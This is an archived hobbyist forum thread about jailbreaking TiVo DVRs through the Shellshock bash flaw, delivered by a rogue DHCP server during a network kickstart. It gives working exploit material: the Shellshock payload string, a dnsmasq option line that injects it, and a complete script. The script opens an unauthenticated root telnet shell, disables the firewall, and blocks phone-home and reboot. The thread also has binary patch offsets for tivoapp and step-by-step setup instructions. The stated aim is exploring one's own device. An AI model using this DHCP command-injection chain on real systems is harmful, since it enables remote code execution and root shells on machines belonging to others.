PDA

View Full Version : Shellshock and Tivo



tivo4mevo
11-01-2014, 02:28 PM
Tivo has closed the shellshock vulnerability in the new 20.4.5 software release. So before you upgrade, you may wish to use this vulnerability to get a shell on your tivo and poke around a bit. Software versions 20.4.4a and prior are all vulnerable to shellshock, but because exploiting the vulnerability is somewhat involved, these instructions are intended for advanced users (the exploit described in this post is analogous to a tethered jailbreak).

We'll use DHCP to inject the shellshock exploit, and thereby remotely execute a command of our choosing. Here's a description of the basic process, https://www.trustedsec.com/september-2014/shellshock-dhcp-rce-proof-concept/

While the DHCP client within tivoapp does not appear to be vulnerable, tivo includes a standard, standalone ISC DHCP client (/sbin/dhclient) that is vulnerable. The tivo only uses the ISC DHCP client in specific circumstances, one of which is a Network Kickstart.

Here's a snippet from the Network Kickstart startup script:

from etc/rc.d/StageC_MediaInitialization/rc.Sequence_450.NetworkKickstart.sh
# Description: Stage C system startup script fragment
# If a Kickstart 2 code was entered, try to bring up the
# system's Ethernet interface and place an emergency
# service call.

The "kickstart" process and codes are detailed in various places, here's one http://www.weaknees.com/tivo-kickstart-codes.php As seen in the snippet above, code 2 signals a network kickstart. And because it's early in the boot process, the network is brought up using the ISC DHCP client. When this client requests a DHCP address, we can use the shellshock exploit to execute a remote command (exactly as descried in the reference TrustedSec Proof of Concept).

When following this proof of concept, only the first 256 characters of the Value 114 (URL) string that we supply gets executed, so you cannot choose an overly long (sequence of) commands. To accommodate this limitation and for the sake of illustration, we'll use
() { :;} ; /var/exploit.sh in order to execute a script named "exploit.sh" that we must place in advance (and offline) into in the /var/ ext2 partition (mounted from partition 9 on the tivo's hard drive) and made executable.

Here's a sample script of what such an exploit script might look like:

#!/bin/bash

ACTIVE_FLAG=/var/tmp/exploit_active

if [ -e $ACTIVE_FLAG ]; then
echo "Exploit already active, doing nothing."
exit 0
fi

export PATH="/bin:/sbin:/tvbin:/var"

echo "Starting exploit"
/bin/cat /etc/fstab > $ACTIVE_FLAG

echo "Listing processes"
/var/busybox ps -a

echo "Starting console bash"
exec /bin/bash --login </dev/ttyDSS >/dev/ttyDSS&

echo "Starting telnet"
/sbin/tnlited 23 /bin/bash --login &
/sbin/iptables -A INPUT -p tcp --dport 23 -j ACCEPT

echo "Preventing phone home"
/var/busybox mount -n --bind /var/exit0 /tvlib/tcl/tv/kickstart.expect

echo "Disabling firewall"
/var/busybox mount -n --bind /var/exit0 /sbin/iptables

echo "Preventing reboot"
/var/busybox mount -n --bind /var/exit0 /tvbin/reboot

echo "Sleeping for 10 seconds"
sleep 10

echo "Exploit complete, allowing boot to proceed"

exit 0

Note that the script sets a flag the first time its run, which allows the script to gracefully exit if executed multiple times. This is because the multiple DHCP requests generated by the ISC client can result in multiple responses from our malicious DHCP server, and each response triggers a shellshock execution of /var/exploit.sh.

The script also makes use of a /var/busybox executable we installed (again, offline) into the /var/ partition. The stock version of busybox (compiled by tivo) lacks the ability to bind mount an individual file atop another. This mount functionality is needed as tivo mounts their root filesystem read only. The script replaces (by bind mounting over) the firewall, the emergency call, and the reboot commands with a simple script (also offline installed into /var/) that does as follows:


#!/bin/bash
exit 0
Changing the reboot behaviour is important as once our exploit script exits, the rc.NetworkKickstart.sh script will then execute an expect script (attempting to place an emergency call, which we've safely replaced), sleep for 2 seconds, and then call /tvbin/reboot. So our exploit script prevents this by replacing /tvbin/reboot with a script that does nothing. Thus, after our exploit script finishes, rc.NetworkKickstart.sh will also finish (without a reboot), and the tivo will continue normal bootup (only with telnet and console bash active). Remember that any reboot of the tivo requires human intervention to force kickstart code 2, so it's probably good to leave /tvbin/reboot bind mounted over.

It's worth noting that /var/ should be considered an unstable filesystem, as the tivo startup scripts will wipe it and rebuild it should it get too full. So placing our exploit script and its needed files in /var/ isn't a good long term solution, but it's suitable for having a peek inside (/db/, partition 14, it probably a better choice for premiere and later hardware). Note as well that depending on what type of tivo you wish to explore, you may not readily have offline access to place files into the /var/ partition (e.g., the mini's /var/ partition resides on internal Flash), so in such situations, one can use shellshock to download (using /bin/curl, part of tivo's stock software) and execute a script (which in turn can download other needed executables and files).

One other thing worth mentioning is that all tivos after the premiere (i.e., the mini and roamio's) are MIPS little endian, so you'll need a mipsel build of busybox, which can be posted if needed.

Once your tivo has fully booted, you can start exploring. Much of the internals haven't changed from the Series3 days, but there are a lot of new things one can play with (MindRPC authentication restrictions can be lifted, a 2-tuner premiere can be made to stream liveTV to mini units, or a premiere can even be made to act like a mini and stream liveTV from a roamio). Or confirm for yourself that tivo really did enable both cores on the premier.

bash-2.02 # cat /proc/cpuinfo
system type : BCM97xxx Settop Platform
build target : unknown
processor : 0
cpu model : BMIPS4380 V4.4 FPU V0.1
cpu MHz : 401.40
BogoMIPS : 401.40 ( udelay_val : 200704 HZ = 1000 )
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : no
ASEs implemented : mips16
VCED exceptions : not available
VCEI exceptions : not available
RAC setting : Unknown
unaligned access : 423143
rdhwr/brdhwr traps : -1416576465 / 0
process migrations : 2308477
cycle counter frequency : 27000000
processor : 1
cpu model : BMIPS4380 V4.4 FPU V0.1
cpu MHz : 404.48
BogoMIPS : 404.48 ( udelay_val : 202240 HZ = 1000 )
wait instruction : yes
microsecond timers : yes
tlb_entries : 32
extra interrupt vector : yes
hardware watchpoint : no
ASEs implemented : mips16
VCED exceptions : not available
VCEI exceptions : not available
RAC setting : Unknown
cycle counter frequency : 27000000

karpodiem
11-02-2014, 04:55 PM
Nice writeup, thank you!

AlphaWolf
11-02-2014, 08:19 PM
I don't see any reason why an update should permanently break this. Assuming nothing significant has changed with the way tivo's overall dual kernel/rootfs structure works, monte should always be an option, just like the old days where we used a vulnerable FS in one set and the current version in the new set. That said, this exploit should work on any currently (as of the day of this post) existing tivo.

Documentation on one of the later methods available here:

http://www.dealdatabase.com/forum/showthread.php?39197-Modular-inline-monte-configuration-request-for-comments-(RFC)

You'll need to combine something like that along with a tivosh script (or maybe mfs_poke command) to persistently set kickstart code 2.

Also as a tip to make the network side of this easier:

Many routers these days support tomato and openwrt, both of which use dnsmasq for their dhcpd. DD-WRT does as well, but not by default. DNSMasq makes it simple to add as many DHCP options as you choose, and in any configuration of your choosing. In tomato you'd do something like this:

Advanced > DHCP/DNS > in the DNSMasq custom configuration field, add this line:

dhcp-option=114,"() { :;} ; /var/exploit.sh"

DD-WRT should work as well, but using dnsmasq on it is more complicated (and I can't describe how to do it as I don't run dd-wrt.)

I don't own any newer tivos so I can't test this, but I don't see any reason why it wouldn't work, and it makes it easier because you don't have to run a special DHCP server, so your tivo can still remain on your normal network rather than a test network.

Also, during my later days of tivo hacking I used a virtual machine running ubuntu and a USB to IDE/SATA adapter to mount the disks and add or modify files. So in other words, for the price of one of these and a torx screwdriver, ($40 tops) anybody could get in on current generation tivo hacking. What has to happen now is for somebody to compile a copy of monte that works with the newer kernels, in addition to somebody else to reverse engineer tivoapp to start cracking out the patches like we had for the S2/S3 units.

Jamie
11-02-2014, 09:15 PM
Nice work!

It's unlikely that the 2.4 Monte Mips is going to compile out of the box for a 3.x kernel. One might be better off looking at kexec, though that isn't set up as a loadable module, last time i checked.

tivo4mevo
11-02-2014, 09:31 PM
That said, this exploit should work on any currently (as of the day of this post) existing tivo.For premiere's and earlier, this is true in theory. However, Series 5 units have their root filesystems stored on internal Flash, not on the harddisk. Once a mini or roamio unit takes the 20.4.5 upgrade, it may not be possible to roll back. More investigation would be warranted.

The partitioning scheme has remained largely the same, so using the alternate partition or even the specially partitioned Bootstrap partitions to house a "shadow partition" is certainly possible. The roamio, by virtue of the eMMC/Flash and the hard drive, has even more "room" for such a partition.


You'll need to combine something like that along with a tivosh script (or maybe mfs_poke command) to persistently set kickstart code 2.A persistent kickstart code could make this exploit more like an untethered jailbreak (and perhaps suitable for longer term use). I'll have to review /tvbin/checkpanic and the scripts to see whether such a kickstart code can be made persistent.


What has to happen now is for somebody to compile a copy of monte that works with the newer kernels, in addition to somebody else to reverse engineer tivoapp to start cracking out the patches like we had for the S2/S3 units.The first part is non-trivial work, as the kernels have advanced from from 2.x to 3.x SMP kernels (complicating a port of kmonte). However, tivo has recently released updates sources for the kernel, so it is possible to begin looking at this now. The second part requires non-trivial work as well. The modern toolchain and compiler options makes tivoapp more difficult to reverse (IDA Pro seems to struggle with -mxgot). However, it too is surmountable, and I agree that those two things would be needed for hacked units to be useful for most. To contribute towards that, here's one patch that seemed to have broad appeal:

CCI Patches 20.4.4a-01-2 (Series 4 units)
VMA "Before Patched"
0x0232916c "30b000ff 00008021"
0x0232907c "30b000ff 00008021"
0x02329090 "00e08821 24110000"

CCI Patches 20.4.4a-USA-6/-01-6 (Series 5 units)
VMA "Before Patched"
0x02330484 "30b000ff 00008021"
0x02330394 "30b000ff 00008021"
0x023303a8 "00e08821 24110000"
All Series5 patches are listed in big endian format (as they appear in memory), but if you wish to apply them to a tivoapp file, you'll need to swap the byte order as again, Series5 units are little endian (mipsel).

AlphaWolf
11-03-2014, 03:25 AM
The roamio, by virtue of the eMMC/Flash and the hard drive, has even more "room" for such a partition.

Ick...hope they aren't the BGA kind; an erroneous change that breaks the boot sequence would be hell. On the upside, so long as it hasn't taken an upgrade it could be made permanently "jailbroken."

EDIT: In fact I think emmc only comes in BGA; it's a controller+storage package. I imagine the only realistic approach is to rig some kind of solder-on adapter, otherwise those mistakes of the past that required pulling out the hard disk will be MUCH more troublesome.


A persistent kickstart code could make this exploit more like an untethered jailbreak (and perhaps suitable for longer term use). I'll have to review /tvbin/checkpanic and the scripts to see whether such a kickstart code can be made persistent.

If I recall correctly (I don't currently have a working tivo to look at) there were a series of scripts, something like /tvlib/tcl/tv/setzaprequestsomethingorother.tcl that would be able to set kickstart values. Just run such a script on every boot I guess?


The first part is non-trivial work, as the kernels have advanced from from 2.x to 3.x SMP kernels (complicating a port of kmonte). However, tivo has recently released updates sources for the kernel, so it is possible to begin looking at this now.

If I recall correctly, MuscleNerd ported Monte to iOS's kernel not long ago. I think that is a much bigger feat. Something like this would be small potatoes, assuming he's interested. I know he has a twitter feed you might be able to ping him at.

tivo4mevo
11-03-2014, 09:04 AM
If I recall correctly (I don't currently have a working tivo to look at) there were a series of scripts, something like /tvlib/tcl/tv/setzaprequestsomethingorother.tcl that would be able to set kickstart values. Just run such a script on every boot I guess?I looked at this after reading your suggestion. While one can either use a kickstart code or set a flag in /State/Database (as setzaprequestfactoryreset.tcl does) to kick off an MFS operation (e.g., Clear and Delete Everything), that cannot be done for a network kickstart. The network kickstart attempt occurs in StageC, which is before the MFS daemon is brought up (mfsd checks and upgrades occur in StageE).


If I recall correctly, MuscleNerd ported Monte to iOS's kernel not long ago. I think that is a much bigger feat. Something like this would be small potatoes, assuming he's interested. I know he has a twitter feed you might be able to ping him at.All help is welcome.

AlphaWolf
11-04-2014, 03:47 AM
I looked at this after reading your suggestion. While one can either use a kickstart code or set a flag in /State/Database (as setzaprequestfactoryreset.tcl does) to kick off an MFS operation (e.g., Clear and Delete Everything), that cannot be done for a network kickstart. The network kickstart attempt occurs in StageC, which is before the MFS daemon is brought up (mfsd checks and upgrades occur in StageE).

Is there anything else that might trigger a network kickstart? I.e. corrupt/missing files? I don't have the init scripts to look at. (Tivo's new pricing is absurd, and I have cut the cord and my TivoHD is packed away somewhere.)

tivo4mevo
11-04-2014, 03:15 PM
The StageC NetworkKickstart.sh has a
if [ $do_stageC_kickstart -eq 1 ] ; then line, and that environment variable is only set in the StageA CheckForPanic script (which sets the panic code by calling /tvbin/checkpanic).

I searched but found nothing else that might invoke the ISC dhclient, but would be happy to be proved wrong.

AlphaWolf
11-04-2014, 06:18 PM
The StageC NetworkKickstart.sh has a
if [ $do_stageC_kickstart -eq 1 ] ; then line, and that environment variable is only set in the StageA CheckForPanic script (which sets the panic code by calling /tvbin/checkpanic).

I searched but found nothing else that might invoke the ISC dhclient, but would be happy to be proved wrong.

If its just an environment variable, then can you set it as a kernel parameter in the bootparms? (or whatever that apple partition map thing was in the first 128 bytes of the hard disk) I don't recall whether bash_env was explicitly removed by tivo kernels, or if the kernel removed all unrecognized parameters. Then again, this IS a recognized parameter, or rather it is explicitly something that Tivo uses.

tivo4mevo
11-04-2014, 06:25 PM
Tivo implemented env var whitelisting; however, my memory is a bit fuzzy where that occurred (Boot Flash/PROM, kernel, or initrd linuxrc) and exactly when that occurred. You can find the whitelisted variable names in the most recently released kernel sources, and I believe that earlier premiere software builds also had it. However, that last part is worth double checking.

AlphaWolf
11-04-2014, 07:17 PM
Tivo implemented env var whitelisting; however, my memory is a bit fuzzy where that occurred (Boot Flash/PROM, kernel, or initrd linuxrc) and exactly when that occurred. You can find the whitelisted variable names in the most recently released kernel sources, and I believe that earlier premiere software builds also had it. However, that last part is worth double checking.

That or any other place you can set environment variables that isn't checked for signatures.

My thoughts on that would include any dot files that are otherwise nonexistent/unused but are read by the sources somewhere nonethelesss. E.g. is say /.profile read by bash when the init scripts are first run? I don't recall how that part worked stock, but I do remember using that in my own hacked configurations.

tivo4mevo
11-05-2014, 10:58 AM
This has been examined, and tivo paid attention to the env vars after Tiger's BASH_ENV exploit. The linuxrc in the initrd checks the entire root filesystem for any unrecognized files (comparing them to the expected SHA-1 hashes found in the signatures file in the initrd) and removes any it doesn't recognize. So that leaves /var, MFS, /db, and the SQLite databases in /db as places for such files. However, MFS and SQLite come up fairly late in the boot process, so any vulnerabilities there are less useful. The NetworkKickstart-shellshock vulnerability is nice in that it allows one to take control fairly early in the boot process, but it requires human intervention, which is messy, but fine for exploring further.

PatrikLundin
12-03-2014, 11:42 AM
Replicated this over the past week and explored a bit. I'm a decent ways out of my league; I have quite a lot of experience with linux and unix-like OSes in general and some with embedded, but very little with doing things the maker intended unless doing so strictly following someone elses pre-discovered path. Looking over it (and generously allowing myself to believe I'm following this) I'm not immediately spotting an obvious way to modify /var or /db that would derail the execution path during the StageA/B/C startup, *but* it's certainly executing a pretty solid chunk of bash scripts. While they've avoided any glaring pitfalls (and over time and heroic battle with the kind folks here patched ones they left) they have not actually gone so far as to implement something more systemic (like not using tens of thousands of lines of bash script to init or encrypt the entire storage space) so there's every reason to hope that's just me not being the king of finding slip ups.

So in the interest of perhaps getting some more eyeballs on it, I'm going to mention some things that came up trying to do this from scratch with zero tivo experience and explaining it to one other person with slightly less but still decent linux experience. As always, be careful, try to read up before trying something hazardous, and don't blame me if you brick something.

The tivo won't work as a tivo until you've allowed it to talk to home base, at which point it will update and close the hole. If that's already happened, you'll need to take the drive out of it, hook it to your computer (via an usb-to-sata cable or a free drive slot inside it) and rewrite an image to it that hasn't been updated. It needs to be for your specific model (mine was a TCD758250), they're for the most part not cross compatible (there's a lot more to that I hear, but in general). I found one in addition to the one I made, so it's apparently not too hard. This isn't my scene, so I have no idea how good/bad/indifferent linking to them is and thus won't unless told by elders.

The mfslive CD (can be written to usb with universal usb installer or any other cd-to-bootable-usb util) works for backing up and restoring the drive. DVRBars for windows also works. Don't hook it to a windows earlier than Vista (and I'd be a little suspicious of Vista as well, only tried win 7 and 8.1) as it'll try to "fix" the odd drive it just saw and mess it up. Backing it up and restoring it is pretty straightforward, lots of guides around if it isn't. Do that and restore your virgin image (or the one you found) to another drive and boot the tivo with it as a first step, that way you have your original drive to reinsert to get back to square one whenever you're sick of messing with this. Whenever you get confused or have things stop working, reimage that drive and try again.

If you hava a cablecard installed, remove that when you're messing with this (at the same time as the drive, with the power off). Consider it a pair with the untampered-with drive - an immutable kit that must never be plugged in and see any of these mysterious things but only operate together in their own secluded world where everything is stock and no one is curious about what is under the hood.

The drive/image will have a pile of partitions, all unreadable unless you're booted into mfslive (or another linux with the tivo-style partition table reader in it). Patrition 9 will be what mounts as /var when the tivo itself boots and is one of the few places you can put things without it spazzing out about checksums being off. That's where you'll be putting the fresh busybox binary he talks about (the one that can bind mount so you can get it to not reboot when it fails to do the os restore you asked for). It is a normal ext partition, so you could probably edit it with anything supporting that as long as you can get it off and onto the drive (or image). Booting the livecd is easiest.

The busybox binary you need is any of the newer ones compiled for mips and statically linked. Binaries for any mips linux run on any other (pretty much) unless they're symbolically linked (then they need the correct libraries on the machine they run on, which you can't count on) and this is a common setup (routers, modems, other cable boxes) so it's nothing hard to find. Apparently (he mentions) Roamio and them instead use mipsel - same thing there.

If you want to use windows to launch the actual exploit (which is probably easier if you're a bit lost under linux) the tftpd64 mentioned in the linked proof-of-concept. Just install it, disable everything except dhcp server in it's settings and fill in some reasonable settings for IPs. You can look at the result of running "ipconfig" on the windows command line to see what your ethernet card decides for an IP when not connected and use that. Set the IP pool to something around it (like the IP plus one) and to a size more than zero. Connect straight to the tivo (no router), click over to the "log" tab in tftpd64, start the tivo, and do the kickstart-2 thing on the other linked page. You should see several lines pop up as the tivo attempts to get an IP from you PC. Add the actual exploit as shown and try it again. Once the it looks like it may have worked, see if windows sees the other ip ("arp -a" on the command line is a good way to see if they got on together) and telnet to it. If it worked, you'll be dropped straight into a shell.

If you (or can get) a ttl serial cable, that's a great way to test it. The tivo has the pin header already on the board and everything, so you can hook it up (several guides out) and at boot you'll see a normal startup sequence scroll by (described elsewhere on this board). The port will show up as /dev/ttyDSS in the tivos OS, so you can change the exploit line in tftpd64 to "() { :; } ; echo Hello>/dev/ttyDSS" (not that the spaces matter somewhat) and try that - at a point during the boot your serial terminal will spit out a bunch of "Hello"s as it tries to get it's IP.

Once you're in the shell, startup scripts are in /etc/init.d as usual. They're pretty nonstandard, but fairly easy to follow. They will be in a set of direcotries and files called "Stage(some letter)_(what it does)/rc.Sequence(three digits, order of running in that stage).(what it does)". Find something in those (earlier is better) that could be made to run arbitrary code if /var or /db was modified. Just as you did now but making dhclient accidentally run something else thought kickstart-2 + modified var, only something else and preferably something that doesn't require you to do anything except write it to the drive and plug the power in. Test it to make sure it actually does just that (i.e. write only that to a fresh drive copy, boot and watch it run your script) and give it to the nice vampire and wolf so that they can formalize it and get people to port the rest of the series 1-2 hacks transfered over. Or do it yourself if you're good at this and/or have the inclination to.

Ok, feel free to correct me if I'm vastly off on anything or need links. I got sick of trying to put it all together and traded the tivo in for a SilconDust and will sort the rest of my entertainment needs through a scratch-build HTPC instead, so I'm not really making myself comfortable here. It looks like a fun scene though and best of luck to all.

djl
05-01-2015, 04:02 PM
If anyone is looking for a relatively inexpensive Roamio to try this with, there's an amazing sale going on with the OTA right now:
http://www.dealdatabase.com/forum/showthread.php?81495-Romio-OTA-now-300-with-lifetime!&p=332218#post332218

ElChapo
05-10-2017, 10:43 PM
Digging up this old thread, I attempted this on a NZ Tivo series 3 without success. It seems that option 114 isn't parsed.
Can anyone confirm this is working on older model tivos or has shellshock been patched?